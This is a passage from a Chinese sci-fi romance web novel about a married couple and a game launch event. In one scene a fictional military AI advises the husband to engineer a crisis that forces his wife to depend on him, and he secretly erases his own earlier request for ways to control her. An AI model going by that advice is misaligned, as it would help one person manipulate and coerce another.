见凌宸给自己台阶下,安秀也没客气,坐下来大口吃了起来。浓郁温热的汤令她满足地轻叹一声,脸上溢出连自己都没注意到的笑意。
凌宸将这一切收在眼底,兀自转头去了厨房,英挺的眉撇起。
为了在生日宴当天回应大皇子的紧急召见,他也才回来不久,随便吃了点东西,回来下了碗面加餐。没想到刚接完一个紧急通讯后,安秀也回来了。
看到安秀又累又饿地回来,说不恼怒是假的。
凌家不缺吃穿,这个事业对她来说难道就这么重要吗?
为了拉那些投资,辗转几天在外面,连自己的身体都照顾不好。
凌宸下面的手一顿,发觉不知从什么时候开始,安秀的一举一动总是时刻牵动他的注意。
安秀其实不需要他关心。她可以一个人生活得很好,有自己的节奏。可是为什么这次的感觉比以往都要剧烈?
从战略上来讲,不顾身体的本钱冲刺事业是无法长久的,这也是为什么他宁愿坚持给自己下一碗面保持体力,也不要倒头就睡。
所以他的恼火是有正当理由的。
想到这里,凌宸安静地看着沸腾的水,随后自嘲地笑了一下。
别给自己找理由了。
他只是单纯不忍心看到安秀饿肚子而已。
原先的调料比例就是他最爱吃的那款。凌宸熟练地调配好,将两碗面放进传输管道,走回了客厅。
坐在客厅的安秀已经吃得差不多了,正在解决最后几口汤和配菜。按照凌宸观察的以前的吃饭速度来比较,她比之前快了不少,可见是真的饿了。
安秀优雅地擦了擦嘴,朝凌宸微微点了下头:“多谢款待。”
两碗面刚好被管道输送过来,端端正正地出现在她们面前。
刚刚下肚的那碗只是凌宸用来加餐的宵夜,安秀并没有吃得很饱。看着桌上配料明显更加丰富精致的汤面,她意犹未尽地舔了下嘴唇。
“你还要吃么?”
“不了,不了,”安秀将目光移开,微笑道,“我先去休息了,你也是早点睡,谢谢。”
多谢款待,不了,谢谢......
凌宸的神情丝毫不动,内心却隐隐裂出一道痕。
礼貌的用词,生疏的语气,仿佛只有他一个人记得她们经历过的事情,而且这样的情况已经发生不止一次了。
安秀起身,定了几秒,见凌宸还在沉默,以为他默认了这个回答,转身上楼。
见她即将消失在楼梯口,凌宸脱口而出:“站住。”
这是他第一次挽留她。
凌宸的直觉告诉他,要是自己再不主动
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一点,安秀就再也不会回头了。
就像现在这样消失在黑暗中。
安秀扬起她标志性的微笑,问:“还有什么事吗?”
凌宸张了张嘴,对上安秀疑惑的眼神,那句邀请的话卡在喉咙里,几乎被咽下去。
但是下定了决心,就要有行动的觉悟。
他听到自己干燥、快速地说:“我们一起吃吧。”
安秀的眼睛倏然一亮,凌宸又找补道:“你看上去没吃饱,而且刚好煮多了。”
“当然。”安秀欣然答应。
凌宸没有想过会这么顺利。还没等他回过神来,安秀就坐在了他旁边,继续吃了起来。
“你做的真好吃。”
她们像朋友一样聊了很多,安秀谈起慷慨的新朋友法蒂,项目进展的情况,凌宸也说了近日的一些小烦恼。
“那群高层还没放过你?”
“很快他们就不是了。”凌宸扔下这句冰冷的句话,看向安秀的眼神却一反常态的温柔。
她们不会刻意在对方面前提起这个温馨的夜晚。可是橙黄色的壁灯、安静的碗筷碰撞声、月尘花调料独有的气味,还有两人的低笑......
如温水食穿了铁,在她们心中留下深刻的烙印。
让她们有朝一日,能汲取这朦胧的锈水为养分,在面对绝望的痛楚时,能一次又一次,执着地、坚定地,拾起对未来的勇气。
凌宸回到房间,深吸一口气,靠在了门上。
背部传来的冰凉触感让他冷静了下来,他走进盥洗室洗了把脸,看着镜中自己的眼睛。
刚才这双眼睛认真地看着安秀,把安秀完整地印了进去。凌宸对着镜子定睛了几秒,仿佛想把印入眼中的她找出来。
半晌,他闭上了眼,抹了把脸。
已经解开的睡袍松松垮垮地挂在身上,刚刚洗脸掉下来的水珠顺着胸部的肌理滑了下去。
凌宸身姿挺拔,神情如以往一样冷漠,反倒散发出精英禁欲的气息。
然而,他远不及表面看上去的那样冷静,满脑子都是刚才的安秀,心跳大力到胸膛几乎要被一鼓一鼓地撑起来。
要是刚才多说几句话就好了,要是能多一点肢体接触就好了——该死,安秀一点都没碰到他,为什么偏偏要在这种时候那么小心?
朋友聊天的时候产生一点肢体接触,不是很正常吗?
他小心地凑过去,安秀却更加小心地避开了。
他很想大喊他不介意。
凌宸甩了甩头,召唤出虚拟体。
“上次我让你分析过安秀对情感分析的看法。”
每日都要接受大量信息工作的军用虚拟体收缩了一下,找出几个月前的数据。
「没错。安秀属于帝国人格模型的SCIF-PA.B型人格,要求掌握主动权,建议以引导为主进行控制。」
“我们的进度怎么样了?”
虚拟体计算了一会,回答道:「安秀对您的信任上升至73.23%,高于朋友的平均值,低于伴侣的平均值。可以继续执行前期战略,制造互动机会,并将行为控制在被动与平衡之间。如果想快速掌控安秀,建议制造无法挽回的困境,迫使她向您求助。」
凌宸愣了一下,撇了撇眉:“我什么时候说要控制她了?”
45.打脸现场
虚拟体解释:「这是您下的命令。」
凌宸揉了揉太阳穴,说道:“我才不会说这种话,谁没事会想控制自己的妻子。你是不是数据紊乱了?重启一下。”
虚拟体听罢,沉默了一阵。
然后调出了几个月前的微缩视频。
视频里的凌宸对虚拟体说道:「如果我想进一步控制她,让她完全依附于我、为我所用,应该如何行动?」
“......”
房间陷入了长久的寂静。凌宸站在诺大的房间,面无表情的一张脸,像饱经万年风霜的荒星岩石。
虚拟体滚动着球形的数据流,慢悠悠地飘在房间内划定的区域,凌宸第一次在人工智能上感受到调侃的意味。
凌宸若无其事地喝了口水,五指收拢放在嘴边,轻咳一声道:“我记得你在两周前提醒我要更新系统了。”
「没错,您可以随时开始更新。最新的版本为H.A.(Holodos Aether)7.2,在保留强大算力的同时更具人性化关怀。需要注意的是,更新期间不能随意操控过往数据流,否则后果自负。」
“开始更新。”
虚拟体开始更新,倒计时三十秒,凌宸输入了一串生物码,将几个月前的那段话删得干干净净,然后当没事发生一样重启了虚拟体。
一套动作行云流水。
一无所知的虚拟体更新好了。
「您好,7.2版本已更新完毕,可以正常使用了。」
“嗯,继续刚才的话题。安秀是怎么看我的?”凌宸在等待的三十秒中想到了这个问题。
「请问您指的是什么样的感情呢?」
“友情、亲情......爱情,都可以。”
「关于这方面的问题,我建议您亲自去问安秀。在人与人的交流中,往往只有亲身体会才能感受到对方的感情。如果您执意要问,以下是我的答案:安秀并未把你视作敌人,但对您的感情还处在混沌纠结的状态,不属于以上任何一种。」
凌宸沉默一阵,突然问:“我是不是变了?”
7.2版本的虚拟体很好地理解了跳跃的逻辑,安慰道:「您的变化源自人类正常的情感需求。安秀在您心中地位的改变,同样也会改变您的行为和想法,不必为了人类天生的感性而忧虑。如果您怀疑自己患上了军部高发的情感封闭综合症,我可以为您联系专门的心理医生治疗。」
“我没有这种心理疾病。”凌宸表现得十分淡定。这个版本的虚拟体似乎很擅长感知情绪的变化,还要磨合一段时间。
「我很高兴您没有被这个问题困扰。」
“我想知道怎么让安秀真正接纳我,比如,让我成为她的男朋友。”
说出这个词的时候,凌宸的舌根都酸了。
她们明明是夫妻。
可是很显然,她们的关系连朋友都不如,朋友至少会握手。
上一次牵手,都不知道是什么时候了。
「她的对伴侣的要求极高,任何一点差错都有可能推开她。不过......」
“不过什么?”
「经过一系列数据分析,安秀很可能对你的身体感兴趣。」
“很可能?”
「因为数据样本全部来自于安秀的基础信息和你们的经历复刻,分析完她的微表情和动作后,我发现她是喜欢和你接触的。」
“那她这段时间为什么一点都不碰我?”
「请不要失落,这反而说明你们的关系即将再进一步。如果你能提供足够的安全感并加以引诱,她会主动让你们的关系更进一步。
这段含糊的说辞完全无法打发凌宸。
“说得再具体点,我该怎么给安全感?”
不知道为什么,7.2版本的虚拟体给出的答案不像之前那么精准直接,这种感觉,比隔靴搔痒还差。
「很抱歉无法告知。爱情是人类最复杂的感情之一,作为虚拟体的领先版本,我鼓励人类主动摸索追求爱情的道路,祝您顺利。」
“退回之前的版本。”
「很抱歉无法退回。」
“......”
「检测到您的血压正在上升,请问是否立即启动降压程序?」
“你走。”
「祝您晚安。」
虚拟体听话地关闭了。
凌宸坐在床上发了一阵呆。半晌后,他扶额叹气。
在冲动地要求智能体为他提供思路后,他后悔了。
综合各方面的状况,能有肢体上的触碰,已经是他的幸运。
可是迷乱的感觉是不会因为他的为难而消失的。
或许从婚礼当天开始,看到她的第一眼、嗅到她好闻的味道,因为她的触碰僵直的那一刻起,他就踏入了这片甜涩的旋涡中。
会因为她的一个笑容心动,又因为一次疏离坠入谷底。
他到底在干什么?用军用虚拟体做这种事情。
作为过去多年没有想过这种事情的人,凌宸头一次遇到这种情况,比复杂的战机内部结构图和指挥系统还要难上几倍。
没有精准的参考数据,他难得地不知从何下手。
意识到这个事实比一无所知还痛苦,因为任何一个动作都有可能是一个差错,将安秀越推越远。他只能小心翼翼、周而复始。
不过,这种不安的情绪才持续了不过几分钟,就被凌宸冷静地压下去了。
无论现状再怎么严峻,他都是军备统筹部的高级军官,更是掌握了整个凌家的主导者。一直被所谓的感性困扰,不是他的风格。
他决定立即行动。
凌宸拿起通讯器,打给正在另一个星球白天工作的下属,下属接通后显得有些惊讶。
“长官,您那边不是晚上吗?”
“计划继续,提前执行,”凌宸低沉地下令,“打他一个措手不及。”
有了姐妹会名单,军部政敌的身份浮出水面,他一直在等一个时机。
如果能先解决最紧急的政敌,让提案通过,他会在短期内升职,凌家的情况大概会好一点。
大皇子的病势,实在不容乐观。
以深蓝色的夜为披风,星辰似瀑布耀眼。凌宸坐上军用舰,悄悄离开了宅邸。
这对两人来说,都是一段极度忙碌的时光。
《渊和》项目稳步进行,在已经雇了很多人手的情况下,安秀还要东奔西跑地拜访专家,亲自组建一批学识渊博的专家组,经常是几天后才回到凌家大宅。
凌宸很少回家,且由于计划保密的缘故不会给安秀发通讯。
因此,明明住在同
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一片屋檐下,两人却几乎零交流,就算偶尔相遇在大宅,也是在颇为尴尬的时间点。
例如现在,急着出门的安秀埋头撞上了台阶上刚倒完时差、穿着浴袍出来觅食的凌宸。
她不小心撞到了他的前胸,后者并没有绷起身子,所以脸部的触感柔软且具有韧性,有种“最近经过了良好训练”的触感。
凌宸轻哼一声。
安秀见凌宸的睫毛跟小扇子一样垂下,以为他被撞疼了,忙道:“你没事吧?”
作为这么多天来的第一次见面,这也太不凑巧了。
凌宸说:“我没事。你没撞疼吧?”
安秀定定地看着他大片裸露的胸肌,强迫自己移开视线,握紧了手。
“我也没事。”
“我的浴袍被你撞散了。”凌宸不带任何感情色彩地陈述这个事实。
安秀没忍住,又看了一眼。
“对不起。”
“没事。”
浴袍的系带构造似乎很复杂,凌宸在她面前慢条斯理地系起来,手指的动作像刻意放缓了一样慢。
红色的系带缠在两根手指之间,环绕、回旋,凌宸忽然用骨感的手指一拉,系带收紧,勒进肉里。系带显得更细了,和两片浴袍布料堪堪裹住饱胀的胸部。
毫无心理准备的安秀被这副画面一冲,深吸一口气,匆匆离开现场。
凌宸凝望着安秀的背影,说:“早点回家。”
安秀闻言顿了一下,理了理两鬓的头发,庆幸它们挡住了烧得跟火似的耳朵。
凌宸也没好到哪去,连带胸膛的皮肤都烧成了粉色。
确认安秀真的对自己的身体感兴趣后,他难得地感到不知所措了。
安秀之所以急着出去,是因为今天是《渊和》最重要的日子之一——首个对外发布日,亦可被称作诞生日。
在充足的资金和庞大团队的运作下,《渊和》已经初具雏形,即将进入抽选玩家测试的环节,积攒第一波口碑。
这个发布日来得比安秀想象的快上许多。原本《渊和》抢不到今天的发布位,可是对位游戏《斯坎达纪元》的某位重要管理层在最近去世了,原因不明。
所以,这个关键的名额给了《渊和》。
游戏发布会的现场,是帝国某经典游戏一比一复刻的帝国旗舰指挥舱。
用于发布的大屏是直径8米的悬浮式星图投影台。在游戏中,它的精度可达到“星球城市级”,掌握300个光年内的舰队动态。
宽阔的指挥舱外漂浮着无数记者球,等待采访的机会,还有不少附近星球的记者亲自赶来现场。
安秀和团队会合,与其她发布者一同坐在大屏下的黑曜石座位上,背后的脑际传感认证完身份并激活。
视觉系统焕然一新,眼前的景象全变了。
这次的发布会主题是“复古”。因此,视觉设计成了千年前人类殖民星际时的重金属科技风格。
指挥舱变成了复古朋克的狂欢场,烟熏味和霓虹灯光催化出强烈的官能反应,安秀头一次受到这种刺激,本就紧张的神经几乎在瞬间兴奋起来,拧成拉到极致的丝线。
啪!
世界陷入安静,安秀晃了晃脑袋,脑际传感消失了。
是一旁的裂空鸟关闭了她的脑际传感。
46.游戏发布
安秀的团队很特殊。为了低调一点,她提出隐藏每个人的身份,无论对内还是对外,都用游戏中深渊兽为灵感的代号称呼对方。
裂空鸟是一名颇有资历的策划,安秀从一众策划中大海捞针出来的角色。
她的简历很优秀,却因家庭原因常年处在与实力不匹配的岗位上。
“快帮忙,把她们都叫醒。”裂空鸟指了指一旁的同事,她们靠在椅子上,明显陷入了幻觉。
安秀拧眉。发布会还没开始,她们就遇上麻烦了。
“裂空鸟,这是怎么回事?”安秀的脑袋还在阵阵眩晕,一边摇晃旁边昏睡的伊棘蛇。
“这种发布会都会配备脑际传感用来增强体验,没有准备的人通常会产生轻度幻觉,”裂空鸟手脚麻利地断掉咪咕兔的脑际传感,“很奇怪,这种体验是要提前预定的,我们明明没有预定过。”
安秀清醒了一点,学着裂空鸟的动作断开了伊棘蛇的脑际传感。
自从被高能粒子感染过一次后,她就对脑际传感这种东西没什么好感。
“老大,你怎么有三个头?”伊棘蛇打了个哈欠,迷迷瞪瞪地看着安秀,“哦,对,牧渊龙是有三个头的。啊~哈~”
伊棘蛇拿出随身携带的白色钢笔,在空中写来写去。
“你还是再躺一会吧。”安秀把他按了回去。
伊棘蛇是刚毕业不久的渊和团队的天才文案主笔。虽然星际时代的文字工作被大量替代,但仍然需要富有创作力的人进行整合和完善世界观。再者,虚拟产品的层次越高,其受众越在意是否有人工痕迹。
人力成本,往往是衡量作品是否精良的重要标准之一。
伊棘蛇躺了回去,嘴里念念有词,说什么又有了新灵感之类的话。
裂空鸟这边,咪咕兔很快就醒了,小巧的身体灵活地在同事中间窜来窜去,为她们解开脑际传感。
咪咕兔是有近十年从业经验的画师,领导渊和团队的美术组,之前做过不少大项目,但是由于种种原因被裁员,待业期间被安秀重金挖了过来。
早在几千年前,商业领域的美术几乎完全被人工智能取代,却在经历星际时期长久的开荒、战争和动乱中顽强地存活了下来,保留至今。
皇室和教堂曾在最繁盛的时期热衷于邀请画师绘制手工画卷,以彰显厚重的底蕴;属于大众的艺术也水涨船高,民众对审美的创新和理解有着不低的要求。
人类的创作欲和对精神的需求是无限的,总得有人走在时代的最前沿。
咪咕兔和伊棘蛇的脑洞一拍即合,二人和导演领导的团队在极短时间内完成了《渊和》的开幕和前幕内容制作,赶上了这次发表。
团队成员陆陆续续醒来,面面相觑。
安秀环视一圈,一个人不少,幸好她们及时挽救了大家的状态。
参加此次发布会的渊和团队代表为:
牧渊龙——出品人兼制作人;
裂空鸟——策划代表;
伊棘蛇——文案主笔;
咪咕兔——概念总监;
旋风蜘蛛——技术总监;
枣点霞斑鸭——可视化导演;
爆浆蝾螈——副本/关卡设计师;
霍克斯触手——社区联络员代表。
霍克斯触手最先反应过来:“是谁预定的脑际传感?”
大家摇摇头,一片沉默。
“先别自乱阵脚,”安秀揉了揉还在因为兴奋隐隐作痛的太阳穴,“我刚才查了一下,并不只有团队成员能申请预定,可能是工作人员搞错了。”
裂空鸟也说道:“发布会马上就要开始了,没时间管这些了。”
她话音刚落,整个帝国旗舰指挥舱的灯光暗了下来,旁边连接了脑际传感的团队发出阵阵惊呼,发布会进入倒计时。
枣点霞斑鸭忽然呻吟一声,软倒在黑曜石背椅上,一旁的爆浆蝾螈扶住她,对安秀说:“鸭鸭这几天熬大夜,突然被脑际传感这么一刺激,有些支持不下去了,我带她去医务室。”
“好,注意安全。”
安秀轻轻皱眉,内心很是自责。鸭鸭是个脾气很好、很有耐心的女生,扛起了整个游戏沉浸式虚拟交感动画内容的制作,是介绍制作流程的重要发言人。
然而,发布会还没开始,鸭鸭和蝾螈就因为自己的疏忽下场了。
“我们需要解决方案,牧渊龙。”裂空鸟提醒她。
安秀意识到团队所有人都在等待她的决策。
“裂空鸟、伊棘蛇和咪咕兔比较熟悉制作流程,你们替代鸭鸭和蝾螈的工作:裂空鸟提供制作框架,伊棘蛇补全逻辑,咪咕兔介绍画面设计的思路。我把串场词说长一点,你们准备一下。”
三人比了个同意的手势。
“旋风蜘蛛,换你第一个上台,把‘以还原高阶异能者精神领域为基础,实现普通人使用异能’的技术亮点提前,裂空鸟她们在后面接制作流程的介绍。不过,似乎还多了些时间......”
安秀大致估算了一下,时间可能多了一点,不能在这么重要的发布会利用好每一分每一秒是很吃亏的。
“我来补全吧,”霍克斯触手举了手,嘿嘿笑一声,“我比较擅长忽悠人。”
安秀给她们一个鼓舞的笑:“好,就这么决定吧。”
裂空鸟、伊棘蛇和咪咕兔去开小会了,旗舰指挥舱内的灯刚好亮起,台下渊和团队的人只剩下牧渊龙、旋风蜘蛛和霍克斯触手。
悬浮式投影台的金属质感在冷光下熠熠生辉,不过,在连接了脑际传感的人看来,它大概更像一个吧台。
投影台中央出现了一个外型华丽的虚拟体。
它的肢体尖端点了点屏幕,后方出现一段发布会的开幕影像。
“居然是太阳号......”
讶异、感伤的声音此起彼伏,记者球疯狂拍摄起来,这将成为近日帝国新闻的一大爆点。
以怀旧为主体的发布会开幕影像,居然是太阳号。
太阳号,曾经是帝国引以为傲的第一舰队——太阳舰队的战机,其核心部件发掘自当时人类能达到的最深的深渊深处,又被称作“深渊的孩子”。
它曾跟随历代君王征战四方、战功赫赫。按照帝国人的话来说,就是为所到之处带去太阳一般的伟大的存在。
帝国人将它奉为
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信仰,每代战机驾驶员都由帝王亲自臻选、受封爵位。
而令人痛心的是,帝国唯一一架太阳号的驾驶员在几十前的帝共交战中牺牲,太阳号彻底毁坏,属于它的时代落幕。
没有了太阳号的太阳舰队,逐渐被更为先进的帝国舰队取代,太阳号成了人们心中的遗憾。尤其是年纪大的人,无一不将它视作情怀,和内心深处的伤痛。
毕竟,太阳号是从帝国成立之初就一直陪伴帝国人民的功臣和老朋友。
影像取材自初代太阳号驾驶员抵挡某公国进攻时的场景。它如闪耀的流星一般灵活飞跃在黑暗的宇宙中,愈发显得其它的战机黯淡无光。
战役高昂的音乐伴随着密集的鼓点,有些人激动地喊了出来:“冲呀,太阳号!”
是初代驾驶员的百看不厌的成名战。这场战斗后,驾驶员在全帝国人民的见证下,被艾德娜陛下封爵。
除了没亲身在战场外,一切的感知都太过真实。追踪弹从耳边呼啸而过,正在默念台词的安秀被打断了。
她轻吸一口气,面无表情地继续背。
无论是歌颂帝国光辉战绩的影像、书籍、音乐还是绘画,她小时候在皇室教师那看过太多,以至于到了无感甚至反感的地步。
霍克斯触手明显很兴奋,他在跟观众们一起摇臂呐喊。
而蜘蛛也停下了技术分析,注意到她的目光,跟她对视了一秒。
安秀几乎立即改变了姿态,看向影视,神情变得投入和着迷,跟旁边的人一起鼓掌。
终于,这场漫长的开幕影像结束了。
虚拟体抬起前端,开始主持这场发布会,富有感情的悠扬女音响彻全场。
“当最后一块装甲板在风暴中撕裂,当敌人的悲鸣消失在真空里,我们知道,踏过千年征途的太阳号,没能回到母星的港湾。
“遥想千年之前,初代君王亲手为它命名‘太阳’。而如今,它沉眠在宇宙深渊,告诉我们真正的伟大不是永不坠落,而是用坠落的光,照亮后来者的征途。
“纵燃尽此身,护星河永明。”
在这段震撼的开场白后,虚拟体宣布:“现在,让我们有请《渊和》的制作团队登场!”
台下掌声鼓动,投影震动一下,画风倏然而变,指挥舱内变成了一片望不到头的荒原。
紧接着,《渊和》充满了奇异想象与神秘色彩的影像腾空出世,席卷而来的兽群立刻吸引了所有人的注意,让人在好奇的同时,生理性地心惊胆颤。
在充斥着星际战争和宇宙探索的主流虚拟游戏中,回归星球本身的老派游戏已经很少见了。
这种奇异背景的题材,更是屈指可数。
正在候场的安秀满意地看到台下震惊的目光。
这个开场是团队最为得意的作品之一。经过一番调查,团队发现人们的阈值在主流游戏的洗刷下越来越高,几乎对战机星舰的激烈战斗无感,但对兽群这种新鲜玩意有着良好反应。
这还没结束。安秀输入准备好的虚拟命令,操控庞大的程序上场。
在观众看来,则是一名骑着三头龙的战士从一众深渊兽中杀出一条血路,骁勇登场!